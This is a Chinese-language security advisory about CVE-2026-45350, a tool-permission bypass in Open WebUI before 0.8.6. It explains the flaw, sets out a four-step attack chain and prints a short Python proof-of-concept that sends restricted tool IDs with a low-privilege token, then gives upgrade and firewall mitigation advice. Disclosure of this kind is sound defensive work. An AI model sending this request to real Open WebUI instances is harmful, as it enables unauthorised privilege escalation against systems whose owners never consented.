IPBUF安全漏洞报告
English
CVE-2026-45350 CVSS 7.1 高危

CVE-2026-45350: Open WebUI工具限制绕过漏洞

披露日期: 2026-05-15

漏洞信息

漏洞编号
CVE-2026-45350
漏洞类型
权限绕过
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Open WebUI

相关标签

权限绕过Open WebUICVE-2026-45350API安全

漏洞概述

Open WebUI 0.8.6之前的版本存在权限绕过漏洞。攻击者可利用聊天完成API中的tool_ids和tool_servers参数,绕过工具使用权限检查。由于缺乏验证,用户可调用任意服务器工具,并以服务器权限执行操作,导致未授权行为。

技术细节

该漏洞源于Open WebUI的chat_completion API中间件处理逻辑。API接收用户提供的tool_ids和tool_servers参数来构建tools_dict,并通过get_tool_by_id检索工具。关键缺陷在于系统未验证调用API的用户是否有权使用指定的工具ID。攻击者只需提供有效的tool_id,即可调用受限工具。此外,工具调用时使用服务器存储的认证令牌,导致操作以服务器特权而非用户特权执行,从而实现权限提升和未授权操作。

攻击链分析

STEP 1
信息收集
攻击者识别目标系统运行Open WebUI,并确定chat_completion API端点。
STEP 2
枚举工具
攻击者尝试猜测或通过其他方式获取系统中存在的有效tool_ids或tool_servers。
STEP 3
构造请求
攻击者使用自己的低权限账号,构造包含恶意tool_ids参数的API请求,指向受限的管理工具或敏感功能。
STEP 4
权限提升
服务器处理请求时,因未检查权限,直接使用服务器令牌调用指定工具,导致攻击者以高权限执行未授权操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target API endpoint url = "http://target-open-webui-instance/api/v1/chat/completions" # Headers with low-privilege user token headers = { "Authorization": "Bearer LOW_PRIVILEGE_TOKEN", "Content-Type": "application/json" } # Malicious payload injecting restricted tool IDs payload = { "messages": [{"role": "user", "content": "Run command"}], "tool_ids": ["restricted_tool_id_123"], # ID of the tool attacker wants to invoke "tool_servers": ["internal_tool_server"] } # Send request to exploit the vulnerability response = requests.post(url, json=payload, headers=headers) print(f"Status: {response.status_code}") print(f"Response: {response.text}")

影响范围

Open WebUI < 0.8.6

防御指南

临时缓解措施
建议立即将Open WebUI升级到修复版本0.8.6。如无法立即升级,应通过网络访问控制列表(ACL)限制对Open WebUI API的访问,仅允许受信任的内部IP调用,或部署Web应用防火墙(WAF)检测并拦截包含异常tool_ids参数的请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表